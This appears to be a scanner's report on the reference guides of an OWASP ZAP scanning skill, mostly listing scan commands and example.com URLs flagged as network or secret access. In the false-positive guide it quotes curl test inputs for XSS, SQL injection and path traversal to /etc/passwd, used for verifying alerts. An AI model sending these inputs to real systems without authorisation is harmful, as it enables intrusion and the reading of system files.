    <!-- Poll URL for verification (optional) -->             <pollurl>https://app.example.com/api/session/verify</pollurl>
  • Network accessline 84
    <!-- Poll URL for verification (optional) -->             <pollurl>https://app.example.com/api/session/verify</pollurl>
  • Network accessline 85
    <pollurl>https://app.example.com/api/session/verify</pollurl>
  • Network accessline 85
    <pollurl>https://app.example.com/api/session/verify</pollurl>
  • Network accessline 163
    <node>                 <name>user_id</name>                 <url>https://app.example.com/api/users/{user_id}</url>
  • Network accessline 163
    <node>                 <name>user_id</name>                 <url>https://app.example.com/api/users/{user_id}</url>
  • Network accessline 164
    <name>user_id</name>                 <url>https://app.example.com/api/users/{user_id}</url>             </node>
  • Network accessline 164
    <name>user_id</name>                 <url>https://app.example.com/api/users/{user_id}</url>             </node>
  • Network accessline 165
    <url>https://app.example.com/api/users/{user_id}</url>
  • Network accessline 165
    <url>https://app.example.com/api/users/{user_id}</url>
  • Network accessline 170
    <!-- Global Exclude URLs (applied to all contexts) -->     <globalexcludeurl>         <regex>https://.*\.googleapis\.com/.*</regex>
  • Network accessline 170
    <!-- Global Exclude URLs (applied to all contexts) -->     <globalexcludeurl>         <regex>https://.*\.googleapis\.com/.*</regex>
  • Network accessline 171
    <globalexcludeurl>         <regex>https://.*\.googleapis\.com/.*</regex>         <regex>https://.*\.google-analytics\.com/.*</regex>
  • Network accessline 171
    <globalexcludeurl>         <regex>https://.*\.googleapis\.com/.*</regex>         <regex>https://.*\.google-analytics\.com/.*</regex>
  • Network accessline 172
    <regex>https://.*\.googleapis\.com/.*</regex>
  • Network accessline 172
    <regex>https://.*\.googleapis\.com/.*</regex>
  • Network accessline 173
    <regex>https://.*\.google-analytics\.com/.*</regex>
  • Network accessline 173
    <regex>https://.*\.google-analytics\.com/.*</regex>
  • Network accessline 174
    <regex>https://.*\.googletagmanager\.com/.*</regex>
  • Network accessline 174
    <regex>https://.*\.googletagmanager\.com/.*</regex>
  • Network accessline 175
    <regex>https://cdn\..*</regex>
  • Network accessline 175
    <regex>https://cdn\..*</regex>

skills/appsec/dast-zap/references/api_testing_guide.md

  • Network accessline 24
    # Basic OpenAPI scan docker run -v $(pwd):/zap/wrk/:rw -t zaproxy/zap-stable zap-api-scan.py \   -t https://api.example.com \
  • Network accessline 24
    # Basic OpenAPI scan docker run -v $(pwd):/zap/wrk/:rw -t zaproxy/zap-stable zap-api-scan.py \   -t https://api.example.com \
  • Network accessline 25
    docker run -v $(pwd):/zap/wrk/:rw -t zaproxy/zap-stable zap-api-scan.py    -t https://api.example.com
  • Network accessline 25
    docker run -v $(pwd):/zap/wrk/:rw -t zaproxy/zap-stable zap-api-scan.py    -t https://api.example.com
  • Network accessline 26
    -t https://api.example.com \
  • Network accessline 26
    -t https://api.example.com \
  • Network accessline 37
    # Use standard spider with API context docker run -v $(pwd):/zap/wrk/:rw -t zaproxy/zap-stable zap-full-scan.py \   -t https://api.example.com \
  • Network accessline 37
    # Use standard spider with API context docker run -v $(pwd):/zap/wrk/:rw -t zaproxy/zap-stable zap-full-scan.py \   -t https://api.example.com \
  • Network accessline 38
    docker run -v $(pwd):/zap/wrk/:rw -t zaproxy/zap-stable zap-full-scan.py    -t https://api.example.com
  • Network accessline 38
    docker run -v $(pwd):/zap/wrk/:rw -t zaproxy/zap-stable zap-full-scan.py    -t https://api.example.com
  • Network accessline 39
    -t https://api.example.com \
  • Network accessline 39
    -t https://api.example.com \
  • Network accessline 49
    [Credential-related source omitted]
  • Network accessline 49
    [Credential-related source omitted]
  • Network accessline 50
    [Credential-related source omitted]
  • Network accessline 50
    [Credential-related source omitted]
  • Access to secretsline 50
    [Credential-related source omitted]
  • Access to secretsline 50
    [Credential-related source omitted]
  • Access to secretsline 53
    [Credential-related source omitted]
  • Access to secretsline 53
    [Credential-related source omitted]
  • Network accessline 55
    # Scan with authentication python3 scripts/zap_api_scan.py \   --target https://api.example.com \
  • Network accessline 55
    # Scan with authentication python3 scripts/zap_api_scan.py \   --target https://api.example.com \
  • Network accessline 56
    python3 scripts/zap_api_scan.py    --target https://api.example.com
  • Network accessline 56
    python3 scripts/zap_api_scan.py    --target https://api.example.com
  • Network accessline 57
    --target https://api.example.com \
  • Network accessline 57
    --target https://api.example.com \
  • Network accessline 66
    # API key in header python3 scripts/zap_api_scan.py \   --target https://api.example.com \
  • Network accessline 66
    # API key in header python3 scripts/zap_api_scan.py \   --target https://api.example.com \
  • Network accessline 67
    python3 scripts/zap_api_scan.py    --target https://api.example.com
  • Network accessline 67
    python3 scripts/zap_api_scan.py    --target https://api.example.com
  • Network accessline 68
    --target https://api.example.com \
  • Network accessline 68
    --target https://api.example.com \
  • Network accessline 73
    [Credential-related source omitted]
  • Network accessline 73
    [Credential-related source omitted]
  • Network accessline 74
    [Credential-related source omitted]
  • Network accessline 74
    [Credential-related source omitted]
  • Access to secretsline 74
    [Credential-related source omitted]
  • Access to secretsline 74
    [Credential-related source omitted]
  • Network accessline 75
    [Credential-related source omitted]
  • Network accessline 75
    [Credential-related source omitted]
  • Access to secretsline 75
    [Credential-related source omitted]
  • Access to secretsline 75
    [Credential-related source omitted]
  • Network accessline 88
    [Credential-related source omitted]
  • Network accessline 88
    [Credential-related source omitted]
  • Network accessline 89
    [Credential-related source omitted]
  • Network accessline 89
    [Credential-related source omitted]
  • Access to secretsline 89
    [Credential-related source omitted]
  • Access to secretsline 89
    [Credential-related source omitted]
  • Network accessline 90
    https://api.example.com/users/123/profile
  • Network accessline 90
    https://api.example.com/users/123/profile
  • Network accessline 92
    [Credential-related source omitted]
  • Network accessline 92
    [Credential-related source omitted]
  • Access to secretsline 92
    [Credential-related source omitted]
  • Access to secretsline 92
    [Credential-related source omitted]
  • Network accessline 93
    https://api.example.com/users/123/profile  # Should be denied
  • Network accessline 93
    https://api.example.com/users/123/profile  # Should be denied
  • Network accessline 118
    [Credential-related source omitted]
  • Network accessline 118
    [Credential-related source omitted]
  • Network accessline 119
    [Credential-related source omitted]
  • Network accessline 119
    [Credential-related source omitted]
  • Network accessline 120
    [Credential-related source omitted]
  • Network accessline 120
    [Credential-related source omitted]
  • Network accessline 131
    # Scan GraphQL endpoint with schema docker run -v $(pwd):/zap/wrk/:rw -t zaproxy/zap-stable zap-api-scan.py \   -t https://api.example.com/graphql \
  • Network accessline 131
    # Scan GraphQL endpoint with schema docker run -v $(pwd):/zap/wrk/:rw -t zaproxy/zap-stable zap-api-scan.py \   -t https://api.example.com/graphql \
  • Network accessline 132
    docker run -v $(pwd):/zap/wrk/:rw -t zaproxy/zap-stable zap-api-scan.py    -t https://api.example.com/graphql
  • Network accessline 132
    docker run -v $(pwd):/zap/wrk/:rw -t zaproxy/zap-stable zap-api-scan.py    -t https://api.example.com/graphql
  • Network accessline 133
    -t https://api.example.com/graphql \
  • Network accessline 133
    -t https://api.example.com/graphql \
  • Network accessline 144
    curl -X POST https://api.example.com/graphql \
  • Network accessline 144
    curl -X POST https://api.example.com/graphql \
  • Network accessline 209
    # SOAP API scan with WSDL docker run -v $(pwd):/zap/wrk/:rw -t zaproxy/zap-stable zap-api-scan.py \   -t https://api.example.com/soap \
  • Network accessline 209
    # SOAP API scan with WSDL docker run -v $(pwd):/zap/wrk/:rw -t zaproxy/zap-stable zap-api-scan.py \   -t https://api.example.com/soap \
  • Network accessline 210
    docker run -v $(pwd):/zap/wrk/:rw -t zaproxy/zap-stable zap-api-scan.py    -t https://api.example.com/soap
  • Network accessline 210
    docker run -v $(pwd):/zap/wrk/:rw -t zaproxy/zap-stable zap-api-scan.py    -t https://api.example.com/soap
  • Network accessline 211
    -t https://api.example.com/soap \
  • Network accessline 211
    -t https://api.example.com/soap \
  • Network accessline 314
    - name: API-Context       urls:         - https://api.example.com
  • Network accessline 314
    - name: API-Context       urls:         - https://api.example.com
  • Network accessline 315
    urls:         - https://api.example.com       includePaths:
  • Network accessline 315
    urls:         - https://api.example.com       includePaths:
  • Network accessline 316
    - https://api.example.com
  • Network accessline 316
    - https://api.example.com
  • Network accessline 317
    includePaths:         - https://api.example.com/.*       authentication:
  • Network accessline 317
    includePaths:         - https://api.example.com/.*       authentication:
  • Network accessline 318
    - https://api.example.com/.*
  • Network accessline 318
    - https://api.example.com/.*
  • Access to secretsline 323
    [Credential-related source omitted]
  • Access to secretsline 323
    [Credential-related source omitted]
  • Network accessline 327
    parameters:       apiFile: /zap/wrk/openapi.yaml       apiUrl: https://api.example.com
  • Network accessline 327
    parameters:       apiFile: /zap/wrk/openapi.yaml       apiUrl: https://api.example.com
  • Network accessline 328
    apiFile: /zap/wrk/openapi.yaml       apiUrl: https://api.example.com       targetUrl: https://api.example.com
  • Network accessline 328
    apiFile: /zap/wrk/openapi.yaml       apiUrl: https://api.example.com       targetUrl: https://api.example.com
  • Network accessline 329
    apiUrl: https://api.example.com
  • Network accessline 329
    apiUrl: https://api.example.com
  • Network accessline 330
    targetUrl: https://api.example.com
  • Network accessline 330
    targetUrl: https://api.example.com
  • Access to secretsline 352
    [Credential-related source omitted]
  • Access to secretsline 352
    [Credential-related source omitted]
  • Network accessline 380
    ### cURL to OpenAPI Conversion
  • Network accessline 380
    ### cURL to OpenAPI Conversion
  • Network accessline 382
    Use tools like `curl-to-openapi` to generate specs from cURL commands.
  • Network accessline 382
    Use tools like `curl-to-openapi` to generate specs from cURL commands.
  • Network accessline 391
    # CREATE curl -X POST https://api.example.com/users \
  • Network accessline 391
    # CREATE curl -X POST https://api.example.com/users \
  • Network accessline 392
    curl -X POST https://api.example.com/users \
  • Network accessline 392
    curl -X POST https://api.example.com/users \
  • Network accessline 396
    # READ curl https://api.example.com/users/123 \
  • Network accessline 396
    # READ curl https://api.example.com/users/123 \
  • Network accessline 397
    curl https://api.example.com/users/123 \
  • Network accessline 397
    curl https://api.example.com/users/123 \
  • Network accessline 400
    # UPDATE curl -X PUT https://api.example.com/users/123 \
  • Network accessline 400
    # UPDATE curl -X PUT https://api.example.com/users/123 \
  • Network accessline 401
    curl -X PUT https://api.example.com/users/123 \
  • Network accessline 401
    curl -X PUT https://api.example.com/users/123 \
  • Network accessline 405
    # DELETE curl -X DELETE https://api.example.com/users/123 \
  • Network accessline 405
    # DELETE curl -X DELETE https://api.example.com/users/123 \
  • Network accessline 406
    curl -X DELETE https://api.example.com/users/123 \
  • Network accessline 406
    curl -X DELETE https://api.example.com/users/123 \
  • Network accessline 415
    [Credential-related source omitted]
  • Network accessline 415
    [Credential-related source omitted]
  • Network accessline 416
    [Credential-related source omitted]
  • Network accessline 416
    [Credential-related source omitted]
  • Access to secretsline 416
    [Credential-related source omitted]
  • Access to secretsline 416
    [Credential-related source omitted]
  • Network accessline 417
    [Credential-related source omitted]
  • Network accessline 417
    [Credential-related source omitted]
  • Access to secretsline 417
    [Credential-related source omitted]
  • Access to secretsline 417
    [Credential-related source omitted]
  • Access to secretsline 418
    [Credential-related source omitted]
  • Access to secretsline 418
    [Credential-related source omitted]
  • Network accessline 420
    [Credential-related source omitted]
  • Network accessline 420
    [Credential-related source omitted]
  • Network accessline 421
    [Credential-related source omitted]
  • Network accessline 421
    [Credential-related source omitted]
  • Access to secretsline 421
    [Credential-related source omitted]
  • Access to secretsline 421
    [Credential-related source omitted]
  • Network accessline 422
    [Credential-related source omitted]
  • Network accessline 422
    [Credential-related source omitted]
  • Access to secretsline 422
    [Credential-related source omitted]
  • Access to secretsline 422
    [Credential-related source omitted]
  • Access to secretsline 423
    [Credential-related source omitted]
  • Access to secretsline 423
    [Credential-related source omitted]
  • Network accessline 431
    # v1 python3 scripts/zap_api_scan.py --target https://api.example.com/v1 \
  • Network accessline 431
    # v1 python3 scripts/zap_api_scan.py --target https://api.example.com/v1 \
  • Network accessline 432
    python3 scripts/zap_api_scan.py --target https://api.example.com/v1 \
  • Network accessline 432
    python3 scripts/zap_api_scan.py --target https://api.example.com/v1 \
  • Network accessline 435
    # v2 python3 scripts/zap_api_scan.py --target https://api.example.com/v2 \
  • Network accessline 435
    # v2 python3 scripts/zap_api_scan.py --target https://api.example.com/v2 \
  • Network accessline 436
    python3 scripts/zap_api_scan.py --target https://api.example.com/v2 \
  • Network accessline 436
    python3 scripts/zap_api_scan.py --target https://api.example.com/v2 \
  • Network accessline 456
    curl -v https://api.example.com/protected-endpoint \
  • Network accessline 456
    curl -v https://api.example.com/protected-endpoint \
  • Network accessline 465
    docker run -t zaproxy/zap-stable zap-api-scan.py \   -t https://api.example.com -f openapi -d /zap/wrk/spec.yaml \
  • Network accessline 465
    docker run -t zaproxy/zap-stable zap-api-scan.py \   -t https://api.example.com -f openapi -d /zap/wrk/spec.yaml \
  • Network accessline 466
    -t https://api.example.com -f openapi -d /zap/wrk/spec.yaml \
  • Network accessline 466
    -t https://api.example.com -f openapi -d /zap/wrk/spec.yaml \
  • Network accessline 472
    - [OWASP API Security Top 10](https://owasp.org/www-project-api-security/)
  • Network accessline 472
    - [OWASP API Security Top 10](https://owasp.org/www-project-api-security/)
  • Network accessline 473
    - [REST API Security Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/REST_Security_Cheat_Sheet.html)
  • Network accessline 473
    - [REST API Security Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/REST_Security_Cheat_Sheet.html)
  • Network accessline 474
    - [GraphQL Security](https://graphql.org/learn/authorization/)
  • Network accessline 474
    - [GraphQL Security](https://graphql.org/learn/authorization/)
  • Network accessline 475
    - [ZAP OpenAPI Add-on](https://www.zaproxy.org/docs/desktop/addons/openapi-support/)
  • Network accessline 475
    - [ZAP OpenAPI Add-on](https://www.zaproxy.org/docs/desktop/addons/openapi-support/)

skills/appsec/dast-zap/references/authentication_guide.md

  • Network accessline 27
    # Use bundled script python3 scripts/zap_auth_scanner.py \   --target https://app.example.com \
  • Network accessline 27
    # Use bundled script python3 scripts/zap_auth_scanner.py \   --target https://app.example.com \
  • Network accessline 28
    python3 scripts/zap_auth_scanner.py    --target https://app.example.com
  • Network accessline 28
    python3 scripts/zap_auth_scanner.py    --target https://app.example.com
  • Network accessline 29
    --target https://app.example.com \
  • Network accessline 29
    --target https://app.example.com \
  • Network accessline 30
    --auth-type form \   --login-url https://app.example.com/login \   --username testuser \
  • Network accessline 30
    --auth-type form \   --login-url https://app.example.com/login \   --username testuser \
  • Network accessline 31
    --login-url https://app.example.com/login \
  • Network accessline 31
    --login-url https://app.example.com/login \
  • Network accessline 32
    --username testuser \   --password-env APP_PASSWORD \   --verification-url https://app.example.com/dashboard \
  • Network accessline 32
    --username testuser \   --password-env APP_PASSWORD \   --verification-url https://app.example.com/dashboard \
  • Network accessline 33
    --password-env APP_PASSWORD \   --verification-url https://app.example.com/dashboard \   --output authenticated-scan-report.html
  • Network accessline 33
    --password-env APP_PASSWORD \   --verification-url https://app.example.com/dashboard \   --output authenticated-scan-report.html
  • Network accessline 34
    --verification-url https://app.example.com/dashboard \
  • Network accessline 34
    --verification-url https://app.example.com/dashboard \
  • Network accessline 54
    <desc>Authenticated scanning context</desc>         <inscope>true</inscope>         <incregexes>https://app\.example\.com/.*</incregexes>
  • Network accessline 54
    <desc>Authenticated scanning context</desc>         <inscope>true</inscope>         <incregexes>https://app\.example\.com/.*</incregexes>
  • Network accessline 56
    <incregexes>https://app\.example\.com/.*</incregexes>
  • Network accessline 56
    <incregexes>https://app\.example\.com/.*</incregexes>
  • Network accessline 59
    <type>formBasedAuthentication</type>             <form>                 <loginurl>https://app.example.com/login</loginurl>
  • Network accessline 59
    <type>formBasedAuthentication</type>             <form>                 <loginurl>https://app.example.com/login</loginurl>
  • Network accessline 60
    [Credential-related source omitted]
  • Network accessline 60
    [Credential-related source omitted]
  • Network accessline 61
    <loginurl>https://app.example.com/login</loginurl>
  • Network accessline 61
    <loginurl>https://app.example.com/login</loginurl>
  • Network accessline 62
    [Credential-related source omitted]
  • Network accessline 62
    [Credential-related source omitted]
  • Network accessline 63
    <loginpageurl>https://app.example.com/login</loginpageurl>
  • Network accessline 63
    <loginpageurl>https://app.example.com/login</loginpageurl>
  • Network accessline 96
    docker run --rm    -v $(pwd):/zap/wrk/:rw    -t zaproxy/zap-stable    zap-full-scan.py    -t https://app.example.com
  • Network accessline 96
    docker run --rm    -v $(pwd):/zap/wrk/:rw    -t zaproxy/zap-stable    zap-full-scan.py    -t https://app.example.com
  • Network accessline 98
    -t zaproxy/zap-stable \   zap-full-scan.py \   -t https://app.example.com \
  • Network accessline 98
    -t zaproxy/zap-stable \   zap-full-scan.py \   -t https://app.example.com \
  • Network accessline 99
    zap-full-scan.py \   -t https://app.example.com \   -n /zap/wrk/auth-context.xml \
  • Network accessline 99
    zap-full-scan.py \   -t https://app.example.com \   -n /zap/wrk/auth-context.xml \
  • Network accessline 100
    -t https://app.example.com \
  • Network accessline 100
    -t https://app.example.com \
  • Network accessline 112
    [Credential-related source omitted]
  • Network accessline 112
    [Credential-related source omitted]
  • Network accessline 113
    [Credential-related source omitted]
  • Network accessline 113
    [Credential-related source omitted]
  • Network accessline 124
    [Credential-related source omitted]
  • Network accessline 124
    [Credential-related source omitted]
  • Access to secretsline 124
    [Credential-related source omitted]
  • Access to secretsline 124
    [Credential-related source omitted]
  • Network accessline 125
    --target https://api.example.com \
  • Network accessline 125
    --target https://api.example.com \
  • Access to secretsline 127
    [Credential-related source omitted]
  • Access to secretsline 127
    [Credential-related source omitted]
  • Network accessline 138
    - name: API-Context       urls:         - https://api.example.com
  • Network accessline 138
    - name: API-Context       urls:         - https://api.example.com
  • Network accessline 139
    urls:         - https://api.example.com       authentication:
  • Network accessline 139
    urls:         - https://api.example.com       authentication:
  • Network accessline 140
    - https://api.example.com
  • Network accessline 140
    - https://api.example.com
  • Access to secretsline 145
    [Credential-related source omitted]
  • Access to secretsline 145
    [Credential-related source omitted]
  • Network accessline 168
    # Step 1: Get authorization code (open in browser) https://oauth.example.com/authorize?
  • Network accessline 168
    # Step 1: Get authorization code (open in browser) https://oauth.example.com/authorize?
  • Network accessline 169
    https://oauth.example.com/authorize?
  • Network accessline 169
    https://oauth.example.com/authorize?
  • Network accessline 170
    client_id=YOUR_CLIENT_ID&   redirect_uri=http://localhost:8080/callback&   response_type=code&
  • Network accessline 170
    client_id=YOUR_CLIENT_ID&   redirect_uri=http://localhost:8080/callback&   response_type=code&
  • Network accessline 171
    redirect_uri=http://localhost:8080/callback&
  • Network accessline 171
    redirect_uri=http://localhost:8080/callback&
  • Network accessline 175
    [Credential-related source omitted]
  • Network accessline 175
    [Credential-related source omitted]
  • Network accessline 176
    [Credential-related source omitted]
  • Network accessline 176
    [Credential-related source omitted]
  • Access to secretsline 176
    [Credential-related source omitted]
  • Access to secretsline 176
    [Credential-related source omitted]
  • Network accessline 179
    [Credential-related source omitted]
  • Network accessline 179
    [Credential-related source omitted]
  • Network accessline 180
    [Credential-related source omitted]
  • Network accessline 180
    [Credential-related source omitted]
  • Access to secretsline 180
    [Credential-related source omitted]
  • Access to secretsline 180
    [Credential-related source omitted]
  • Network accessline 181
    -d "redirect_uri=http://localhost:8080/callback" \
  • Network accessline 181
    -d "redirect_uri=http://localhost:8080/callback" \
  • Access to secretsline 182
    [Credential-related source omitted]
  • Access to secretsline 182
    [Credential-related source omitted]
  • Network accessline 185
    [Credential-related source omitted]
  • Network accessline 185
    [Credential-related source omitted]
  • Access to secretsline 185
    [Credential-related source omitted]
  • Access to secretsline 185
    [Credential-related source omitted]
  • Network accessline 186
    [Credential-related source omitted]
  • Network accessline 186
    [Credential-related source omitted]
  • Access to secretsline 186
    [Credential-related source omitted]
  • Access to secretsline 186
    [Credential-related source omitted]
  • Network accessline 187
    --target https://api.example.com \
  • Network accessline 187
    --target https://api.example.com \
  • Access to secretsline 189
    [Credential-related source omitted]
  • Access to secretsline 189
    [Credential-related source omitted]
  • Network accessline 195
    [Credential-related source omitted]
  • Network accessline 195
    [Credential-related source omitted]
  • Network accessline 196
    [Credential-related source omitted]
  • Network accessline 196
    [Credential-related source omitted]
  • Access to secretsline 196
    [Credential-related source omitted]
  • Access to secretsline 196
    [Credential-related source omitted]
  • Access to secretsline 199
    [Credential-related source omitted]
  • Access to secretsline 199
    [Credential-related source omitted]
  • Access to secretsline 201
    [Credential-related source omitted]
  • Access to secretsline 201
    [Credential-related source omitted]
  • Access to secretsline 203
    [Credential-related source omitted]
  • Access to secretsline 203
    [Credential-related source omitted]
  • Network accessline 205
    # Run authenticated scan python3 scripts/zap_auth_scanner.py \   --target https://api.example.com \
  • Network accessline 205
    # Run authenticated scan python3 scripts/zap_auth_scanner.py \   --target https://api.example.com \
  • Network accessline 206
    [Credential-related source omitted]
  • Network accessline 206
    [Credential-related source omitted]
  • Access to secretsline 206
    [Credential-related source omitted]
  • Access to secretsline 206
    [Credential-related source omitted]
  • Network accessline 207
    --target https://api.example.com \
  • Network accessline 207
    --target https://api.example.com \
  • Access to secretsline 209
    [Credential-related source omitted]
  • Access to secretsline 209
    [Credential-related source omitted]
  • Network accessline 220
    # Option 2: Using script python3 scripts/zap_auth_scanner.py \   --target https://app.example.com \
  • Network accessline 220
    # Option 2: Using script python3 scripts/zap_auth_scanner.py \   --target https://app.example.com \
  • Network accessline 221
    python3 scripts/zap_auth_scanner.py    --target https://app.example.com
  • Network accessline 221
    python3 scripts/zap_auth_scanner.py    --target https://app.example.com
  • Network accessline 222
    --target https://app.example.com \
  • Network accessline 222
    --target https://app.example.com \
  • Network accessline 233
    docker run --rm    -v $(pwd):/zap/wrk/:rw    -t zaproxy/zap-stable    zap-full-scan.py    -t https://app.example.com
  • Network accessline 233
    docker run --rm    -v $(pwd):/zap/wrk/:rw    -t zaproxy/zap-stable    zap-full-scan.py    -t https://app.example.com
  • Network accessline 235
    -t zaproxy/zap-stable \   zap-full-scan.py \   -t https://app.example.com \
  • Network accessline 235
    -t zaproxy/zap-stable \   zap-full-scan.py \   -t https://app.example.com \
  • Network accessline 236
    zap-full-scan.py \   -t https://app.example.com \   -n /zap/wrk/digest-auth-context.xml \
  • Network accessline 236
    zap-full-scan.py \   -t https://app.example.com \   -n /zap/wrk/digest-auth-context.xml \
  • Network accessline 237
    -t https://app.example.com \
  • Network accessline 237
    -t https://app.example.com \
  • Network accessline 266
    // JavaScript to refresh token             function authenticate(helper, paramsValues, credentials) {               var loginUrl = "https://api.example.com/auth/login";
  • Network accessline 266
    // JavaScript to refresh token             function authenticate(helper, paramsValues, credentials) {               var loginUrl = "https://api.example.com/auth/login";
  • Network accessline 267
    function authenticate(helper, paramsValues, credentials) {               var loginUrl = "https://api.example.com/auth/login";               var postData = '{"username":"' + credentials.getParam("username") +
  • Network accessline 267
    function authenticate(helper, paramsValues, credentials) {               var loginUrl = "https://api.example.com/auth/login";               var postData = '{"username":"' + credentials.getParam("username") +
  • Network accessline 268
    var loginUrl = "https://api.example.com/auth/login";
  • Network accessline 268
    var loginUrl = "https://api.example.com/auth/login";
  • Network accessline 303
    docker run --rm    -v $(pwd):/zap/wrk/:rw    -e ZAP_LOG_LEVEL=DEBUG    -t zaproxy/zap-stable    zap-full-scan.py -t https://app.example.com -n /zap/wrk/context.xml
  • Network accessline 303
    docker run --rm    -v $(pwd):/zap/wrk/:rw    -e ZAP_LOG_LEVEL=DEBUG    -t zaproxy/zap-stable    zap-full-scan.py -t https://app.example.com -n /zap/wrk/context.xml
  • Network accessline 305
    -e ZAP_LOG_LEVEL=DEBUG \   -t zaproxy/zap-stable \   zap-full-scan.py -t https://app.example.com -n /zap/wrk/context.xml
  • Network accessline 305
    -e ZAP_LOG_LEVEL=DEBUG \   -t zaproxy/zap-stable \   zap-full-scan.py -t https://app.example.com -n /zap/wrk/context.xml
  • Network accessline 307
    zap-full-scan.py -t https://app.example.com -n /zap/wrk/context.xml
  • Network accessline 307
    zap-full-scan.py -t https://app.example.com -n /zap/wrk/context.xml
  • Network accessline 350
    docker run -t zaproxy/zap-stable zap-full-scan.py \   -t https://app.example.com \
  • Network accessline 350
    docker run -t zaproxy/zap-stable zap-full-scan.py \   -t https://app.example.com \
  • Network accessline 351
    -t https://app.example.com \
  • Network accessline 351
    -t https://app.example.com \
  • Network accessline 388
    # Django CSRF token handling python3 scripts/zap_auth_scanner.py \   --target https://django-app.example.com \
  • Network accessline 388
    # Django CSRF token handling python3 scripts/zap_auth_scanner.py \   --target https://django-app.example.com \
  • Network accessline 389
    python3 scripts/zap_auth_scanner.py    --target https://django-app.example.com
  • Network accessline 389
    python3 scripts/zap_auth_scanner.py    --target https://django-app.example.com
  • Network accessline 390
    --target https://django-app.example.com \
  • Network accessline 390
    --target https://django-app.example.com \
  • Network accessline 391
    --auth-type form \   --login-url https://django-app.example.com/accounts/login/ \   --username testuser \
  • Network accessline 391
    --auth-type form \   --login-url https://django-app.example.com/accounts/login/ \   --username testuser \
  • Network accessline 392
    --login-url https://django-app.example.com/accounts/login/ \
  • Network accessline 392
    --login-url https://django-app.example.com/accounts/login/ \
  • Network accessline 393
    --username testuser \   --password-env DJANGO_PASSWORD \   --verification-url https://django-app.example.com/dashboard/
  • Network accessline 393
    --username testuser \   --password-env DJANGO_PASSWORD \   --verification-url https://django-app.example.com/dashboard/
  • Network accessline 395
    --verification-url https://django-app.example.com/dashboard/
  • Network accessline 395
    --verification-url https://django-app.example.com/dashboard/
  • Network accessline 401
    # Spring Security form login python3 scripts/zap_auth_scanner.py \   --target https://spring-app.example.com \
  • Network accessline 401
    # Spring Security form login python3 scripts/zap_auth_scanner.py \   --target https://spring-app.example.com \
  • Network accessline 402
    python3 scripts/zap_auth_scanner.py    --target https://spring-app.example.com
  • Network accessline 402
    python3 scripts/zap_auth_scanner.py    --target https://spring-app.example.com
  • Network accessline 403
    --target https://spring-app.example.com \
  • Network accessline 403
    --target https://spring-app.example.com \
  • Network accessline 404
    --auth-type form \   --login-url https://spring-app.example.com/login \   --username testuser \
  • Network accessline 404
    --auth-type form \   --login-url https://spring-app.example.com/login \   --username testuser \
  • Network accessline 405
    --login-url https://spring-app.example.com/login \
  • Network accessline 405
    --login-url https://spring-app.example.com/login \
  • Network accessline 413
    [Credential-related source omitted]
  • Network accessline 413
    [Credential-related source omitted]
  • Network accessline 414
    [Credential-related source omitted]
  • Network accessline 414
    [Credential-related source omitted]
  • Access to secretsline 419
    [Credential-related source omitted]
  • Access to secretsline 419
    [Credential-related source omitted]
  • Network accessline 421
    [Credential-related source omitted]
  • Network accessline 421
    [Credential-related source omitted]
  • Access to secretsline 421
    [Credential-related source omitted]
  • Access to secretsline 421
    [Credential-related source omitted]
  • Network accessline 422
    --target https://spa.example.com \
  • Network accessline 422
    --target https://spa.example.com \
  • Access to secretsline 424
    [Credential-related source omitted]
  • Access to secretsline 424
    [Credential-related source omitted]
  • Network accessline 429
    - [ZAP Authentication Documentation](https://www.zaproxy.org/docs/desktop/start/features/authentication/)
  • Network accessline 429
    - [ZAP Authentication Documentation](https://www.zaproxy.org/docs/desktop/start/features/authentication/)
  • Network accessline 430
    - [ZAP Session Management](https://www.zaproxy.org/docs/desktop/start/features/sessionmanagement/)
  • Network accessline 430
    - [ZAP Session Management](https://www.zaproxy.org/docs/desktop/start/features/sessionmanagement/)
  • Network accessline 431
    - [OAuth 2.0 RFC 6749](https://tools.ietf.org/html/rfc6749)
  • Network accessline 431
    - [OAuth 2.0 RFC 6749](https://tools.ietf.org/html/rfc6749)

skills/appsec/dast-zap/references/false_positive_handling.md

  • Network accessline 27
    curl -I https://example.com/static/script.js
  • Network accessline 27
    curl -I https://example.com/static/script.js
  • Network accessline 38
    10021	https://cdn.example.com/.*	.*	693	IGNORE
  • Network accessline 38
    10021	https://cdn.example.com/.*	.*	693	IGNORE
  • Network accessline 52
    curl -I https://example.com
  • Network accessline 52
    curl -I https://example.com
  • Network accessline 64
    10054	https://example.com.*	_ga|_gid|theme	614	WARN
  • Network accessline 64
    10054	https://example.com.*	_ga|_gid|theme	614	WARN
  • Network accessline 78
    <!-- Check if SRI is used --> <script src="https://cdn.example.com/library.js"
  • Network accessline 78
    <!-- Check if SRI is used --> <script src="https://cdn.example.com/library.js"
  • Network accessline 79
    <script src="https://cdn.example.com/library.js"
  • Network accessline 79
    <script src="https://cdn.example.com/library.js"
  • Network accessline 91
    10017	https://example.com/.*	https://cdn.jsdelivr.net/.*	829	IGNORE
  • Network accessline 91
    10017	https://example.com/.*	https://cdn.jsdelivr.net/.*	829	IGNORE
  • Network accessline 118
    10096	https://api.example.com/.*	created_at|updated_at	200	IGNORE
  • Network accessline 118
    10096	https://api.example.com/.*	created_at|updated_at	200	IGNORE
  • Network accessline 132
    curl -I https://example.com | grep Server
  • Network accessline 132
    curl -I https://example.com | grep Server
  • Network accessline 143
    10036	https://example.com.*	.*	200	WARN
  • Network accessline 143
    10036	https://example.com.*	.*	200	WARN
  • Network accessline 161
    # For XSS alerts curl "https://example.com/search?q=<script>alert(1)</script>"
  • Network accessline 161
    # For XSS alerts curl "https://example.com/search?q=<script>alert(1)</script>"
  • Network accessline 162
    curl "https://example.com/search?q=<script>alert(1)</script>"
  • Network accessline 162
    curl "https://example.com/search?q=<script>alert(1)</script>"
  • Network accessline 165
    # For SQL injection alerts curl "https://example.com/api/user?id=1' OR '1'='1"
  • Network accessline 165
    # For SQL injection alerts curl "https://example.com/api/user?id=1' OR '1'='1"
  • Network accessline 166
    curl "https://example.com/api/user?id=1' OR '1'='1"
  • Network accessline 166
    curl "https://example.com/api/user?id=1' OR '1'='1"
  • Network accessline 169
    # For path traversal alerts curl "https://example.com/download?file=../../etc/passwd"
  • Network accessline 169
    # For path traversal alerts curl "https://example.com/download?file=../../etc/passwd"
  • Network accessline 170
    curl "https://example.com/download?file=../../etc/passwd"
  • Network accessline 170
    curl "https://example.com/download?file=../../etc/passwd"
  • Network accessline 223
    # Suppress X-Content-Type-Options for CDN static content 10021	https://cdn.example.com/static/.*	.*	693	IGNORE
  • Network accessline 223
